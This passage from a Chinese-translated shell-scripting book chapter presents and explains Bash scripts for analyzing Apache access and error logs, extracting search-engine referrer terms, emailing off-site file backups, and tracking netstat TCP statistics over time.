     echo "Usage: $(basename $0) logfile" >&2
     exit 1
   fi

   if [ ! -r "$1" ] ; then
     echo "Error: log file $1 not found." >&2
     exit 1
   fi

➊ firstdate="$(head -1 "$1" | awk '{print $4}' | sed 's/\[//')"
   lastdate="$(tail -1 "$1" | awk '{print $4}' | sed 's/\[//')"

   echo "Results of analyzing log file $1"
   echo ""
   echo "  Start date: $(echo $firstdate|sed 's/:/ at /')"
   echo "    End date: $(echo $lastdate|sed 's/:/ at /')"

➋ hits="$(wc -l < "$1" | sed 's/[^[:digit:]]//g')"

   echo "        Hits: $(nicenumber $hits) (total accesses)"

➌ pages="$(grep -ivE '(.gif|.jpg|.png)' "$1" | wc -l | sed 's/[^[:digit:]]//g')"

   echo "   Pageviews: $(nicenumber $pages) (hits minus graphics)"

   totalbytes="$(awk '{sum+=$10} END {print sum}' "$1")"

   /bin/echo -n " Transferred: $(nicenumber $totalbytes) bytes "

   if [ $totalbytes -gt $bytes_in_gb ] ; then
     echo "($(scriptbc $totalbytes / $bytes_in_gb) GB)"
   elif [ $totalbytes -gt 1024 ] ; then
     echo "($(scriptbc $totalbytes / 1024) MB)"
   else
     echo ""
   fi

   # Now let's scrape the log file for some useful data.

   echo ""
   echo "The 10 most popular pages were:"

➍ awk '{print $7}' "$1" | grep -ivE '(.gif|.jpg|.png)' | \
     sed 's/\/$//g' | sort | \
     uniq -c | sort -rn | head -10

   echo ""

   echo "The 10 most common referrer URLs were:"

➎ awk '{print $11}' "$1" | \
     grep -vE "(^\"-\"$|/www.$host|/$host)" | \
     sort | uniq -c | sort -rn | head -10

   echo ""
   exit 0

清单 10-1: *webaccess* 脚本

工作原理

让我们将每个块看作是一个独立的小脚本。例如,前几行通过简单地抓取文件中第一行和最后一行的第四个字段,提取firstdatelastdate ➊。通过使用wc ➋来计算文件中的行数,从而计算命中次数,页面查看次数则通过简单地从命中数中减去图像文件的请求(即扩展名为.gif.jpg.png的文件)来计算。传输的总字节数是通过将每行第 10 个字段的值相加,再调用nicenumber以便以更吸引人的方式呈现。

为了计算最受欢迎的页面,首先我们从日志文件中提取出所有请求的页面,然后筛选出所有的图片文件 ➌。接着,我们使用 uniq -c 对每一行进行排序,并计算每一行出现的次数。最后,我们再排序一次,确保最常出现的行排在前面。在代码中,这整个过程位于 ➍。

请注意,我们确实对内容进行了些许规范化:sed 命令会去除末尾的斜杠,确保 /subdir//subdir 被视为相同的请求。

类似于提取 10 个最受请求页面的部分,第 ➎ 部分提取了引荐信息。

这会从日志文件中提取第 11 个字段,筛选掉来自当前主机的引荐条目以及值为 "-" 的条目,后者是当 web 浏览器阻止引荐数据时发送的值。然后,代码将结果输入到相同的 sort|uniq -c|sort -rn|head -10 序列中,获取 10 个最常见的引荐网址。

运行脚本

要运行此脚本,只需将 Apache(或其他常见日志格式)日志文件的名称作为唯一参数传递。

结果

在典型日志文件上运行此脚本的结果非常有帮助,如清单 10-2 所示。

image

清单 10-2:在 Apache 访问日志上运行 *webaccess* 脚本

修改脚本

分析 Apache 日志文件的一大挑战是,有些情况下两个不同的 URL 会指向相同的页面;例如,/custer//custer/index.html 是同一个页面。计算最受欢迎的 10 个页面时,应该考虑到这一点。sed 命令执行的转换已经确保了 /custer/custer/ 不会被单独处理,但要知道一个目录的默认文件名可能会有点复杂(尤其是因为这可能是 web 服务器的特定配置)。

通过将前 10 个最受欢迎的引荐网址的 URL 修剪为仅包含基础域名(例如,slashdot.org),你可以让这些引荐网址更有用。接下来的脚本 #74 将探讨从引荐字段中可以获取的更多信息。下次你的网站被“slashdotted”时,你就没有理由不知道了!

#74 理解搜索引擎流量

脚本 #73 可以提供一些指向你网站的搜索引擎查询的总体概览,但进一步的分析不仅能揭示哪些搜索引擎正在带来流量,还能显示通过搜索引擎访问你网站的用户输入了哪些关键词。这些信息对于了解你的网站是否已被搜索引擎正确索引至关重要。此外,它还可以为改善你网站搜索引擎排名和相关性提供起点,尽管如前所述,这些附加信息正慢慢被 Apache 和网页浏览器开发者弃用。清单 10-3 详细描述了从 Apache 日志中获取这些信息的 Shell 脚本。

代码

   #!/bin/bash
   # searchinfo--Extracts and analyzes search engine traffic indicated in the
   #   referrer field of a Common Log Format access log

   host="intuitive.com"    # Change to your domain, as desired.
   maxmatches=20
   count=0
   temp="/tmp/$(basename $0).$$"

   trap "$(which rm) -f $temp" 0

   if [ $# -eq 0 ] ; then
     echo "Usage: $(basename $0) logfile"  >&2
     exit 1
   fi
   if [ ! -r "$1" ] ; then
     echo "Error: can't open file $1 for analysis." >&2
     exit 1
   fi

➊ for URL in $(awk '{ if (length($11) > 4) { print $11 } }' "$1" | \
     grep -vE "(/www.$host|/$host)" | grep '?')
   do
➋   searchengine="$(echo $URL | cut -d/ -f3 | rev | cut -d. -f1-2 | rev)"
     args="$(echo $URL | cut -d\? -f2 | tr '&' '\n' | \
        grep -E '(^q=|^sid=|^p=|query=|item=|ask=|name=|topic=)' | \
➌      sed -e 's/+/ /g' -e 's/%20/ /g' -e 's/"//g' | cut -d= -f2)"
     if [ ! -z "$args" ] ; then
       echo "${searchengine}:      $args" >> $temp
➍   else
       # No well-known match, show entire GET string instead...
       echo "${searchengine}       $(echo $URL | cut -d\? -f2)" >> $temp
     fi
     count="$(( $count + 1 ))"
   done

   echo "Search engine referrer info extracted from ${1}:"

   sort $temp | uniq -c | sort -rn | head -$maxmatches | sed 's/^/ /g'

   echo ""

   echo Scanned $count entries in log file out of $(wc -l < "$1") total.

   exit 0

清单 10-3:*searchinfo*脚本

工作原理

该脚本的主要for循环 ➊ 提取日志文件中所有有效的引用来源条目,这些条目的字符串长度大于 4,引用来源域名与$host变量不匹配,并且引用来源字符串中包含?,表示用户进行了搜索。

然后,脚本尝试识别引用来源的域名以及用户输入的搜索值 ➋。对数百个搜索查询的检查表明,常见的搜索网站使用少量的常见变量名。例如,在雅虎上搜索时,搜索字符串是p=pattern。谷歌和 MSN 使用q作为搜索变量名。grep调用包含了pq和其他最常见的搜索变量名。

sed ➌ 的调用清理结果搜索模式,替换+%20序列为空格,并去除引号,cut命令返回等号后的所有内容。换句话说,代码仅返回搜索词。

紧接着这些行的条件语句测试args变量是否为空。如果为空(即查询格式不是已知格式),则说明这是一个我们未见过的搜索引擎,因此我们输出整个模式,而不是仅输出清理后的模式值。

运行脚本

要运行此脚本,只需在命令行中指定 Apache 或其他常见日志格式文件的名称(参见清单 10-4)。

注意

这是本书中最慢的脚本之一,因为它会生成大量子 Shell 来执行各种任务,因此如果运行时间较长,请不要感到惊讶。

结果

$ searchinfo /web/logs/intuitive/access_log
Search engine referrer info extracted from access_log:
      771
        4 online reputation management akado
        4 Names Hawaiian Flowers
        3 norvegian star
        3 disneyland pirates of the caribbean
        3 disney california adventure
        3 colorado railroad
        3 Cirque Du Soleil Masks
        2 www.baskerballcamp.com
        2 o logo
        2 hawaiian flowers
        2 disneyland pictures pirates of the caribbean
        2 cirque
        2 cirqu
        2 Voil%C3%A0 le %3Cb%3Elogo du Cirque du Soleil%3C%2Fb%3E%21
        2 Tropical Flowers Pictures and Names
        2 Hawaiian Flowers
        2 Hawaii Waterfalls
        2 Downtown Disney Map Anaheim

Scanned 983 entries in log file out of 7839 total.

清单 10-4:在 Apache 日志上运行*searchinfo*脚本

破解脚本

修改该脚本的一种方法是跳过最可能不是来自搜索引擎的引用来源 URL。要做到这一点,只需注释掉 ➍ 处的else子句。

另一种处理此任务的方法是搜索来自特定搜索引擎的所有访问,该搜索引擎作为第二个命令参数传递,然后比较指定的搜索字符串。核心的for循环将像这样更改:

for URL in $(awk '{ if (length($11) > 4) { print $11 } }' "$1" | \
  grep $2)
do
  args="$(echo $URL | cut -d\? -f2 | tr '&' '\n' | \
     grep -E '(^q=|^sid=|^p=|query=|item=|ask=|name=|topic=)' | \
     cut -d= -f2)"
  echo $args  | sed -e 's/+/ /g' -e 's/"//g' >> $temp
  count="$(( $count + 1 ))"
done

你还需要调整使用信息,使其提到新的第二个参数。再次强调,由于 Web 浏览器,尤其是 Google,在报告 Referer 信息时发生的变化,这个脚本最终将仅报告空白数据。如你所见,在这个日志文件中,匹配的条目中有 771 个没有报告来源页面,因此没有提供关于关键字使用的有用信息。

#75 探索 Apache error_log

就像脚本 #73 在第 235 页中展示的那样,Apache 或兼容 Apache 的 Web 服务器的常规访问日志中包含有趣且有用的统计信息,本脚本则从error_log文件中提取关键信息。

对于那些没有自动将日志分为独立的access_logerror_log组件的 Web 服务器,你有时可以通过根据日志中每个条目的返回代码(第 9 字段)来过滤,从而将中央日志文件分为这些组件:

awk '{if (substr($9,0,1) <= "3") { print $0 } }' apache.log > access_log
awk '{if (substr($9,0,1)  > "3") { print $0 } }' apache.log > error_log

以 4 或 5 开头的返回代码表示失败(400 系列是客户端错误,500 系列是服务器错误),而以 2 或 3 开头的返回代码表示成功(200 系列是成功消息,300 系列是重定向)。

其他生成包含成功和错误的单一中央日志文件的服务器,通过[error]字段值来表示错误消息条目。在这种情况下,可以使用grep '[error]'来创建错误日志,使用grep -v '[error]'来创建访问日志。

无论你的服务器是否自动生成错误日志,还是需要通过查找包含'[error]'字符串的条目来创建自己的错误日志,错误日志中的几乎所有内容与访问日志的内容都不同,包括日期的指定方式。

$ head -1 error_log
[Mon Jun 06 08:08:35 2016] [error] [client 54.204.131.75] File does not exist:
/var/www/vhosts/default/htdocs/clientaccesspolicy.xml

在访问日志中,日期作为一个紧凑的单字段值指定,没有空格;而错误日志则使用五个字段。此外,错误日志中的条目没有统一的方案,其中字段的词语/字符串位置在空格分隔条目中始终标识特定字段,而是具有一个有意义的错误描述,该描述的长度是可变的。仅查看这些描述值,就能发现令人惊讶的变化,如下所示:

$ awk '{print $9" "$10" "$11" "$12 }' error_log | sort -u
File does not exist:
Invalid error redirection directive:
Premature end of script
execution failure for parameter
premature EOF in parsed
script not found or
malformed header from script

其中一些错误需要手动检查,因为它们可能很难追溯到引起问题的网页。

清单 10-5 中的脚本专注于最常见的问题——特别是文件不存在错误——然后生成一个不匹配已知错误情况的其他错误日志条目的转储。

代码

   #!/bin/bash
   # weberrors--Scans through an Apache error_log file, reports the
   #   most important errors, and then lists additional entries

   temp="/tmp/$(basename $0).$$"

   # For this script to work best, customize the following three lines for
   #   your own installation.

   htdocs="/usr/local/etc/httpd/htdocs/"
   myhome="/usr/home/taylor/"
   cgibin="/usr/local/etc/httpd/cgi-bin/"

   sedstr="s/^/  /g;s|$htdocs|[htdocs]  |;s|$myhome|[homedir] "
   sedstr=$sedstr"|;s|$cgibin|[cgi-bin] |"

   screen="(File does not exist|Invalid error redirect|premature EOF"
   screen=$screen"|Premature end of script|script not found)"

   length=5                # Entries per category to display

   checkfor()
   {
     grep "${2}:" "$1" | awk '{print $NF}' \
       | sort | uniq -c | sort -rn | head -$length | sed "$sedstr" > $temp

     if [ $(wc -l < $temp) -gt 0 ] ; then
       echo ""
       echo "$2 errors:"
       cat $temp
     fi
   }

   trap "$(which rm) -f $temp" 0

   if [ "$1" = "-l" ] ; then
     length=$2; shift 2
   fi

   if [ $# -ne 1 -o ! -r "$1" ] ; then
     echo "Usage: $(basename $0) [-l len] error_log" >&2
     exit 1
   fi

   echo Input file $1 has $(wc -l < "$1") entries.

   start="$(grep -E '\[.*:.*:.*\]' "$1" | head -1 \
      | awk '{print $1" "$2" "$3" "$4" "$5 }')"
   end="$(grep -E '\[.*:.*:.*\]' "$1" | tail -1 \
      | awk '{print $1" "$2" "$3" "$4" "$5 }')"

   /bin/echo -n "Entries from $start to $end"

   echo ""

   ### Check for various common and well-known errors:

   checkfor "$1" "File does not exist"
   checkfor "$1" "Invalid error redirection directive"
   checkfor "$1" "Premature EOF"
   checkfor "$1" "Script not found or unable to stat"
   checkfor "$1" "Premature end of script headers"

➊ grep -vE "$screen" "$1" | grep "\[error\]" | grep "\[client " \
     | sed 's/\[error\]/\`/' | cut -d\` -f2 | cut -d\ -f4- \
➋   | sort | uniq -c | sort -rn | sed 's/^/ /' | head -$length > $temp

   if [ $(wc -l < $temp) -gt 0 ] ; then
     echo ""
     echo "Additional error messages in log file:"
     cat $temp
   fi

   echo ""
   echo "And non-error messages occurring in the log file:"

➌ grep -vE "$screen" "$1" | grep -v "\[error\]" \
     | sort | uniq -c | sort -rn \
     | sed 's/^/  /' | head -$length

   exit 0

清单 10-5: *weberrors* 脚本

工作原理

该脚本通过扫描错误日志,查找在 checkfor 函数中指定的五种错误,利用 awk 调用 $NF(表示该输入行中的字段数)提取每个错误行的最后一个字段。然后,使用 sort | uniq -c | sort -rn ➋ 将输出排序,便于提取该类问题中最常见的错误。

为了确保只显示那些与错误类型匹配的内容,每个特定的错误搜索会保存到临时文件中,然后测试该文件是否为空,只有在文件非空时才会输出消息。所有这些操作都通过脚本顶部附近的 checkfor() 函数精心完成。

脚本的最后几行识别出那些脚本没有检查的、但仍符合标准 Apache 错误日志格式的最常见错误。位于 ➊ 的 grep 调用是一个更长管道的一部分。

接着,脚本识别出那些脚本没有检查的、符合标准 Apache 错误日志格式的最常见错误。再次提醒,位于 ➌ 的 grep 调用是一个更长管道的一部分。

运行脚本

这个脚本应该传入一个标准 Apache 格式的错误日志路径作为唯一参数,见示例 10-6。如果传入 -l length 参数,它将显示每种错误类型检查的 length 个匹配项,而不是默认的每种错误类型五个条目。

结果

$ weberrors error_log
Input file error_log has 768 entries.
Entries from [Mon Jun 05 03:35:34 2017] to [Fri Jun 09 13:22:58 2017]

File does not exist errors:
       94 /var/www/vhosts/default/htdocs/mnews.htm
       36 /var/www/vhosts/default/htdocs/robots.txt
       15 /var/www/vhosts/default/htdocs/index.rdf
       10 /var/www/vhosts/default/htdocs/clientaccesspolicy.xml
        5 /var/www/vhosts/default/htdocs/phpMyAdmin

Script not found or unable to stat errors:
        1 /var/www/vhosts/default/cgi-binphp5
        1 /var/www/vhosts/default/cgi-binphp4
        1 /var/www/vhosts/default/cgi-binphp.cgi
        1 /var/www/vhosts/default/cgi-binphp-cgi
        1 /var/www/vhosts/default/cgi-binphp

Additional error messages in log file:
        1 script '/var/www/vhosts/default/htdocs/wp-trackback.php' not found
or unable to stat
        1 script '/var/www/vhosts/default/htdocs/sprawdza.php' not found or
unable to stat
        1 script '/var/www/vhosts/default/htdocs/phpmyadmintting.php' not
found or unable to stat

And non-error messages occurring in the log file:
        6 /usr/lib64/python2.6/site-packages/mod_python/importer.py:32:
DeprecationWarning: the md5 module is deprecated; use hashlib instead
        6   import md5
        3 [Sun Jun 25 03:35:34 2017] [warn] RSA server certificate CommonName
(CN) `Parallels Panel' does NOT match server name!?
        1 sh: /usr/local/bin/zip: No such file or directory
        1 sh: /usr/local/bin/unzip: No such file or directory

示例 10-6:在 Apache 错误日志上运行 *weberrors* 脚本

#76 使用远程归档避免灾难

无论你是否拥有一个全面的备份策略,使用单独的异地归档系统备份一些关键文件都是一种很好的保险政策。即使只有一个包含所有客户地址的关键文件,或者你的发票,甚至是你与心上人之间的邮件,偶尔使用异地归档也能在你最意想不到的时候拯救你的“命运”。

这听起来比实际复杂,因为正如你在示例 10-7 中看到的,“归档”实际上只是通过电子邮件发送到远程邮箱的文件,这个邮箱甚至可以是 Yahoo! 或 Gmail 邮箱。文件列表保存在一个单独的数据文件中,并且允许使用 shell 通配符。文件名可以包含空格,这会让脚本变得相对复杂,正如你将看到的那样。

代码

   #!/bin/bash
   # remotebackup--Takes a list of files and directories, builds a single
   #   compressed archive, and then emails it off to a remote archive site
   #   for safekeeping. It's intended to be run every night for critical
   #   user files but not intended to replace a more rigorous backup scheme.

   outfile="/tmp/rb.$$.tgz"
   outfname="backup.$(date +%y%m%d).tgz"
   infile="/tmp/rb.$$.in"

   trap "$(which rm) -f $outfile $infile" 0

   if [ $# -ne 2 -a $# -ne 3 ] ; then
     echo "Usage: $(basename $0) backup-file-list remoteaddr {targetdir}" >&2
     exit 1
   fi

   if [ ! -s "$1" ] ; then
     echo "Error: backup list $1 is empty or missing" >&2
     exit 1
   fi

   # Scan entries and build fixed infile list. This expands wildcards
   #   and escapes spaces in filenames with a backslash, producing a
   #   change: "this file" becomes this\ file, so quotes are not needed.

➊ while read entry; do
     echo "$entry" | sed -e 's/ /\\ /g' >> $infile
   done < "$1"

   # The actual work of building the archive, encoding it, and sending it

➋ tar czf - $(cat $infile) | \
     uuencode $outfname | \
     mail -s "${3:-Backup archive for $(date)}" "$2"

   echo "Done. $(basename $0) backed up the following files:"
   sed 's/^/   /' $infile
   /bin/echo -n "and mailed them to $2 "

   if [ ! -z "$3" ] ; then
     echo "with requested target directory $3"
   else
     echo ""
   fi

   exit 0

示例 10-7: *remotebackup* 脚本

原理

在基本有效性检查后,脚本处理包含关键文件列表的文件,这个文件作为第一个命令行参数传入,确保文件名中嵌入的空格在 while 循环 ➊ 中能够正常工作。它通过在每个空格前加上反斜杠来实现。然后,使用 tar 命令 ➋ 构建归档文件,因为 tar 无法读取标准输入的文件列表,因此必须通过 cat 调用将文件名传递给它。

tar命令自动压缩归档文件,随后使用uuencode确保最终的归档数据文件可以成功通过电子邮件发送而不被损坏。最终结果是,远程地址接收到一封带有tar归档的 uuencoded 附件的电子邮件。

注意

**uuencode* 程序将二进制数据打包,以便它可以安全地通过电子邮件系统传输而不会被损坏。有关更多信息,请参见 *man uuencode*

运行脚本

这个脚本需要两个参数:一个文件名,包含待归档和备份的文件列表,以及压缩后的uuencoded归档文件的目标电子邮件地址。文件列表可以像这样简单:

$ cat filelist
*.sh
*.html

结果

清单 10-8 详细说明了如何运行remotebackupshell 脚本,以备份当前目录中的所有 HTML 和 shell 脚本文件,并打印结果。

$ remotebackup filelist taylor@intuitive.com
Done. remotebackup backed up the following files:
   *.sh
   *.html
and mailed them to taylor@intuitive.com
$ cd /web
$ remotebackup backuplist taylor@intuitive.com mirror
Done. remotebackup backed up the following files:
   ourecopass
and mailed them to taylor@intuitive.com with requested target directory mirror

清单 10-8:运行 *remotebackup* 脚本以备份 HTML 和 shell 脚本文件

破解脚本

首先,如果你有现代版本的tar,你可能会发现它有能力从stdin读取文件列表(例如,GNU 的tar有一个-T标志,可以从标准输入读取文件列表)。在这种情况下,通过更新文件列表给tar的方式,可以简化脚本。

然后,文件归档可以被解压或简单地保存,并且每周运行一个邮箱修剪脚本,以确保邮箱不会变得过大。清单 10-9 详细说明了一个示例修剪脚本。

#!/bin/bash
# trimmailbox--A simple script to ensure that only the four most recent
#   messages remain in the user's mailbox. Works with Berkeley Mail
#   (aka Mailx or mail)--will need modifications for other mailers!

keep=4  # By default, let's just keep around the four most recent messages.

totalmsgs="$(echo 'x' | mail | sed -n '2p' | awk '{print $2}')"

if [ $totalmsgs -lt $keep ] ; then
  exit 0          # Nothing to do
fi

topmsg="$(( $totalmsgs - $keep ))"

mail > /dev/null << EOF
d1-$topmsg
q
EOF

exit 0

清单 10-9: *trimmailbox* 脚本,需与 *remotebackup* 脚本一起使用

这个简洁的脚本删除邮箱中除了最新邮件($keep)以外的所有邮件。显然,如果你使用的是像 Hotmail 或 Yahoo! Mail 这样的邮箱来存储归档文件,这个脚本就无法工作,你将需要偶尔登录去修剪邮箱。

#77 监控网络状态

Unix 中最令人困惑的管理工具之一是netstat,这有点遗憾,因为它提供了关于网络吞吐量和性能的很多有用信息。使用-s标志时,netstat输出关于你计算机上支持的每种协议的大量信息,包括 TCP、UDP、IPv4/v6、ICMP、IPsec 等。对于典型配置来说,大多数协议是不相关的;通常你想要检查的协议是 TCP。这个脚本分析 TCP 协议流量,确定数据包传输失败的百分比,并在任何值超出范围时发出警告。

将网络性能分析作为长期性能的快照是有用的,但分析数据的更好方法是通过趋势。如果你的系统在传输中定期有 1.5%的丢包率,而在过去三天中,丢包率已经上升到 7.8%,那么一个问题正在形成,需要更详细地分析。

因此,该脚本由两部分组成。第一部分,如列表 10-10 所示,是一个短脚本,旨在每 10 到 30 分钟运行一次,记录关键统计数据到日志文件中。第二个脚本(列表 10-11)解析日志文件,报告典型的性能数据以及任何异常或其他随时间增加的值。

警告

某些版本的 Unix 无法按原样运行此代码(尽管我们已经确认它在 OS X 上能够正常工作)!事实证明,Linux 和 Unix 版本之间的 netstat 命令输出格式存在相当大的差异(许多细微的空格变化或拼写略有不同)。标准化 netstat 输出将是一个非常有用的脚本。

代码

   #!/bin/bash
   # getstats--Every 'n' minutes, grabs netstats values (via crontab)

   logfile="/Users/taylor/.netstatlog"   # Change for your configuration.
   temp="/tmp/getstats.$$.tmp"

   trap "$(which rm) -f $temp" 0

   if [ ! -e $logfile ] ; then     # First time run?
     touch $logfile
   fi
   ( netstat -s -p tcp > $temp

   # Check your log file the first time this is run: some versions of netstat
   #   report more than one line, which is why the "| head -1" is used here.
➊ sent="$(grep 'packets sent' $temp | cut -d\  -f1 | sed \
   's/[^[:digit:]]//g' | head -1)"
   resent="$(grep 'retransmitted' $temp | cut -d\  -f1 | sed \
   's/[^[:digit:]]//g')"
   received="$(grep 'packets received$' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"
   dupacks="$(grep 'duplicate acks' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"
   outoforder="$(grep 'out-of-order packets' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"
   connectreq="$(grep 'connection requests' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"
   connectacc="$(grep 'connection accepts' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"
   retmout="$(grep 'retransmit timeouts' $temp | cut -d\  -f1 | \
     sed 's/[^[:digit:]]//g')"

   /bin/echo -n "time=$(date +%s);"
➋ /bin/echo -n "snt=$sent;re=$resent;rec=$received;dup=$dupacks;"
   /bin/echo -n "oo=$outoforder;creq=$connectreq;cacc=$connectacc;"
   echo "reto=$retmout"

   ) >> $logfile

   exit 0

列表 10-10: *getstats* 脚本

第二个脚本,如列表 10-11 所示,分析 netstat 的历史日志文件。

   #!/bin/bash
   # netperf--Analyzes the netstat running performance log, identifying
   #   important results and trends

   log="/Users/taylor/.netstatlog"     # Change for your configuration.
   stats="/tmp/netperf.stats.$$"
   awktmp="/tmp/netperf.awk.$$"

   trap "$(which rm) -f $awktmp $stats" 0

   if [ ! -r $log ] ; then
     echo "Error: can't read netstat log file $log" >&2
     exit 1
   fi

   # First, report the basic statistics of the latest entry in the log file...

   eval $(tail -1 $log)    # All values turn into shell variables.

➌ rep="$(scriptbc -p 3 $re/$snt\*100)"
   repn="$(scriptbc -p 4 $re/$snt\*10000 | cut -d. -f1)"
   repn="$(( $repn / 100 ))"
   retop="$(scriptbc -p 3 $reto/$snt\*100)";
   retopn="$(scriptbc -p 4 $reto/$snt\*10000 | cut -d. -f1)"
   retopn="$(( $retopn / 100 ))"
   dupp="$(scriptbc -p 3 $dup/$rec\*100)";
   duppn="$(scriptbc -p 4 $dup/$rec\*10000 | cut -d. -f1)"
   duppn="$(( $duppn / 100 ))"
   oop="$(scriptbc -p 3 $oo/$rec\*100)";
   oopn="$(scriptbc -p 4 $oo/$rec\*10000 | cut -d. -f1)"
   oopn="$(( $oopn / 100 ))"

   echo "Netstat is currently reporting the following:"

   /bin/echo -n "  $snt packets sent, with $re retransmits ($rep%) "
   echo "and $reto retransmit timeouts ($retop%)"

 /bin/echo -n "  $rec packets received, with $dup dupes ($dupp%)"
   echo " and $oo out of order ($oop%)"
   echo "   $creq total connection requests, of which $cacc were accepted"
   echo ""

   ## Now let's see if there are any important problems to flag.

   if [ $repn -ge 5 ] ; then
     echo "*** Warning: Retransmits of >= 5% indicates a problem "
     echo "(gateway or router flooded?)"
   fi
   if [ $retopn -ge 5 ] ; then
     echo "*** Warning: Transmit timeouts of >= 5% indicates a problem "
     echo "(gateway or router flooded?)"
   fi
   if [ $duppn -ge 5 ] ; then
     echo "*** Warning: Duplicate receives of >= 5% indicates a problem "
     echo "(probably on the other end)"
   fi
   if [ $oopn -ge 5 ] ; then
     echo "*** Warning: Out of orders of >= 5% indicates a problem "
     echo "(busy network or router/gateway flood)"
   fi

   # Now let's look at some historical trends...

   echo "Analyzing trends..."

   while read logline ; do
       eval "$logline"
       rep2="$(scriptbc -p 4 $re / $snt \* 10000 | cut -d. -f1)"
       retop2="$(scriptbc -p 4 $reto / $snt \* 10000 | cut -d. -f1)"
       dupp2="$(scriptbc -p 4 $dup / $rec \* 10000 | cut -d. -f1)"
       oop2="$(scriptbc -p 4 $oo / $rec \* 10000 | cut -d. -f1)"
       echo "$rep2 $retop2 $dupp2 $oop2" >> $stats
     done < $log

   echo ""

   # Now calculate some statistics and compare them to the current values.

   cat << "EOF" > $awktmp
       { rep += $1; retop += $2; dupp += $3; oop += $4 }
   END { rep /= 100; retop /= 100; dupp /= 100; oop /= 100;
         print "reps="int(rep/NR) ";retops=" int(retop/NR) \
            ";dupps=" int(dupp/NR) ";oops="int(oop/NR) }
   EOF

➍ eval $(awk -f $awktmp < $stats)

   if [ $repn -gt $reps ] ; then
     echo "*** Warning: Retransmit rate is currently higher than average."
     echo "    (average is $reps% and current is $repn%)"
   fi

   if [ $retopn -gt $retops ] ; then
     echo "*** Warning: Transmit timeouts are currently higher than average."
     echo "    (average is $retops% and current is $retopn%)"
   fi
   if [ $duppn -gt $dupps ] ; then
     echo "*** Warning: Duplicate receives are currently higher than average."
     echo "    (average is $dupps% and current is $duppn%)"
   fi
   if [ $oopn -gt $oops ] ; then
     echo "*** Warning: Out of orders are currently higher than average."
     echo "    (average is $oops% and current is $oopn%)"
   fi
   echo \(Analyzed $(wc -l < $stats) netstat log entries for calculations\)
   exit 0

列表 10-11: *netperf* 脚本,供与 *getstats* 脚本一起使用

工作原理

netstat 程序非常有用,但它的输出可能令人畏惧。列表 10-12 显示了输出的前 10 行。

$ netstat -s -p tcp | head
tcp:
    51848278 packets sent
        46007627 data packets (3984696233 bytes)
        16916 data packets (21095873 bytes) retransmitted
        0 resends initiated by MTU discovery
        5539099 ack-only packets (2343 delayed)
        0 URG only packets
        0 window probe packets
        210727 window update packets
        74107 control packets

列表 10-12:运行 *netstat* 以获取 TCP 信息

第一步是提取仅包含有趣和重要的网络性能统计数据的条目。这是 getstats 的主要工作,它通过将 netstat 命令的输出保存到临时文件 \(temp* 中,然后遍历 *\)temp 计算关键值,例如发送和接收的总包数。比如在 ➊ 处的代码获取了发送的包数。

sed 调用会移除任何非数字值,以确保没有标签或空格会成为结果值的一部分。然后,所有提取的值都以 var1Name=var1Value; var2Name=var2Value; 的格式写入 netstat.log 日志文件中。这个格式将使我们稍后能够在 netstat.log 中对每一行使用 eval,并在 shell 中实例化所有变量:

image

netperf 脚本负责繁重的工作,它解析 netstat.log 文件,并报告最新的性能数据以及任何异常或其他随时间增加的值。netperf 脚本通过将重传包数除以发送的包数,并将结果乘以 100 来计算当前的重传百分比。重传百分比的整数版本是通过将重传包数除以发送的总包数,乘以 10,000,然后再除以 100 来计算的 ➌。

如你所见,脚本中变量的命名方案以分配给各个 netstat 值的缩写开头,这些值存储在 getstats 脚本结束时的 netstat.log 中 ➋。这些缩写包括 sntrerecdupoocreqcaccreto。在 netperf 脚本中,所有表示总发送或接收数据包的十进制百分比的变量,都会在这些缩写后加上 p 后缀;表示整数百分比的变量则加上 pn 后缀。之后,在 netperf 脚本中,ps 后缀用于表示在最终计算中使用的百分比摘要(平均值)变量。

while 循环逐个处理 netstat.log 中的每个条目,计算四个关键百分位变量(reretrdupoo,分别代表重传、传输超时、重复包和乱序包)。所有结果都会写入 $stats 临时文件,然后 awk 脚本会将 $stats 中的每一列求和,并通过将总和除以文件中的记录数(NR)来计算每列的平均值。

➍ 位置的 eval 行将各部分联系在一起。awk 调用接收由 while 循环生成的统计摘要($stats),并利用保存在 $awktmp 文件中的计算结果输出 variable=value 序列。这些 variable=value 序列随后通过 eval 语句被引入到 shell 中,从而实例化 repsretopsduppsoops 变量,分别代表平均重传、平均重传超时、平均重复包和平均乱序包。当前的百分位值可以与这些平均值进行比较,以发现可能的问题趋势。

运行脚本

为了让 netperf 脚本正常工作,它需要 netstat.log 文件中的信息。这些信息是通过设置一个 crontab 条目来调用 getstats,并按照某种频率生成的。在现代的 OS X、Unix 或 Linux 系统上,以下 crontab 条目可以正常工作,当然,你需要使用适合你系统的脚本路径:

*/15 * * * *       /home/taylor/bin/getstats

它每 15 分钟会生成一条日志文件条目。为了确保必要的文件权限,最好在第一次运行 getstats 之前,手动创建一个空的日志文件。

$ sudo touch /Users/taylor/.netstatlog
$ sudo chmod a+rw /Users/taylor/.netstatlog

现在,getstats 程序应该可以顺利运行,逐步构建你系统网络性能的历史数据图景。要分析日志文件的内容,运行 netperf 而不带任何参数。

结果

首先,让我们查看 .netstatlog 文件,参见列表 10-13。

图片

列表 10-13:.netstatlog* 文件的最后三行,这是由运行*crontab*条目的*getstats*脚本在定期间隔下生成的结果。

看起来不错。列表 10-14 展示了运行 netperf 后的结果以及它的报告内容。

$ netperf
Netstat is currently reporting the following:
  52170128 packets sent, with 16927 retransmits (0%) and 2722 retransmit timeouts (0%)
  20290926 packets received, with 129910 dupes (.600%) and 18064 out of order (0%)
   39841 total connection requests, of which 123 were accepted

Analyzing trends...

(Analyzed 6 netstat log entries for calculations)

Listing 10-14: 运行 *netperf* 脚本分析 .netstatlog 文件

修改脚本

您可能已经注意到,getstats 脚本并没有使用人类可读的日期格式,而是使用纪元时间保存条目到 .netstatlog 文件中,纪元时间表示自 1970 年 1 月 1 日以来经过的秒数。例如,1,063,983,000 秒表示 2003 年 9 月底的一天。使用纪元时间将使得增强此脚本变得更加容易,因为它能够计算读取之间的时间差。

#78 按进程名称调整任务优先级

